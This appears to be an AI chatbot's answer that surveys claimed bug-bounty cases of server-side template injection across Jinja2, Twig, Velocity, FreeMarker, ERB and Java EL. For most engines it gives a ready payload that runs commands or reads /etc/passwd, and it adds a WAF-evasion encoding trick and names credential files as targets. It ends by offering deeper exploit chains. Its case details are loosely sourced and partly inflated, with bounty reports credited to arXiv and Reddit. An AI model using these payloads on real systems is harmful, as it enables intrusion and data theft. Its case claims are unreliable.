Real-World Bounty Cases Involving SSTI → File Enumeration
1. Uber – Jinja2 SSTI (2016)
- A HackerOne bounty report revealed an SSTI in Uber’s templates using Jinja2, allowing remote code execution (RCE). The bounty was awarded for this critical path. (arXiv)
-
This kind of RCE invariably enables reading local files like
/etc/passwd
, configuration files, or environment variables via payloads such as:{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
2. Ubiquiti – Twig SSTI (2017)
- A report to Ubiquiti confirmed SSTI in a Twig-powered component, effectively enabling Local File Inclusion (LFI). Bounty valued at $1,000+. (arXiv)
-
Twig supports file-reading filters like
file()
orfile_excerpt()
, so typical exploitation looks like:{{ '/etc/passwd'|file_excerpt(0,100) }}
3. Shopify – Handlebars SSTI (2018)
- Another real-world SSTI case on Shopify involved Handlebars templates with potential RCE, earning a $10,000 bounty. (arXiv)
- File enumeration in Handlebars is less straightforward, but custom helpers or poor sandboxing could be abused to read sensitive files.
4. Mail.ru – Velocity SSTI (2019)
- A High-impact RCE via Velocity SSTI was reported to Mail.ru, paying out around $2,000. (arXiv)
-
A typical inject payload:
#set($rt = "".getClass().forName("java.lang.Runtime").getRuntime()) #set($cmd = $rt.exec("cat /etc/passwd")) $cmd.getInputStream()
5. U.S. Department of Defense – FreeMarker SSTI (2022)
- A critical-level FreeMarker SSTI impacting DoD systems was documented (no bounty listed) in 2022. (YouTube, Reddit)
-
FreeMarker allows direct injection of exec calls:
<#assign f = "cat /etc/passwd"?exec> ${f}
6. Apache Airflow – Jinja2 SSTI (2022)
- A vulnerability in Apache Airflow using Jinja2 resulted in RCE, awarded $1,000+, and associated with CVE-2022-38362. (Reddit, arXiv)
-
This payload is commonly successful:
{{ ''.__class__.__mro__[1].__subclasses__()[…]('/etc/passwd').read() }}
7. GitHub Security Lab – Ruby (ERB, Slim SSTI) (2023)
- Research from GitHub’s Security Lab uncovered SSTI in Ruby template engines (ERB, Slim), enabling file access; the bounty was $2,300. (InfoSec Write-ups, arXiv)
-
An ERB example:
<%= File.read('/etc/passwd') %>
Community Write-Up: SSTI → File Enumeration on a Leading Asian Payment System
From Medium: “Doing it the researcher’s way…” by JzeeRx details how SSTI enabled file enumeration in a payment system in Asia. (Medium)
- Verified SSTI via a simple arithmetic payload
${7*7}
returning49
. -
Then experimented with Java EL chaining, bypassing WAF by encoding parentheses:
${'b'.getClass().forName('javax.script.ScriptEngineManager') .newInstance().getEngineByName('nashorn') .eval\u0028'java.lang.System.getProperty("user.home")')}
→ This successfully disclosed the application user’s home directory.
- Clearly shows how creative encoding and understanding of EL can lead to file enumeration, even through mitigations.
Summary Table of Real Cases
Year | Target / Org | Engine | Impact | Sample Payload |
---|---|---|---|---|
2016 | Uber | Jinja2 | RCE → File Enumeration | os.popen('cat /etc/passwd') |
2017 | Ubiquiti | Twig | LFI/File Read | Twig file_excerpt() filter |
2018 | Shopify | Handlebars | RCE-like | (Helper abuse) |
2019 | Mail.ru | Velocity | RCE → File Read | Runtime.exec → cat /etc/passwd |
2022 | U.S. DoD | FreeMarker | RCE → File Read | FreeMarker ?exec directive |
2022 | Apache Airflow | Jinja2 | RCE (CVE) | Jinja2 subclass trick to read files |
2023 | GitHub (ERB, Slim) | Ruby SSTI | File Read | ERB File.read('/etc/passwd') |
2022 | Asian Payment System (Medium blog) | Java EL | File Enumeration | Nashorn ScriptEngine → user.home property read |
Key Insights & Low-Level Chain Analysis
-
Engine-Specific Primitives:
- Jinja2: class traversal (
__globals__
,.read()
) - Twig: built-in file filters
- Velocity: Java
Runtime.exec()
- FreeMarker:
?exec
directive - ERB / Slim: direct Ruby calls to
File.read
- Jinja2: class traversal (
-
WAF Bypass & Encodings:
- Example: replacing parentheses with
\u0028
to evade detection (as shown in the Medium write-up).
- Example: replacing parentheses with
-
File Targets:
- Common files:
/etc/passwd
, environment files, configs (e.g.settings.py
,application.properties
), home directory, AWS credential files. - Leverage introspection and class chains to pivot from SSTI to file access.
- Common files:
Would you like to deep-dive into any specific payload chains or see sample source-code equivalent in exploits? Or perhaps you’d like references to these HackerOne reports or CVEs for context?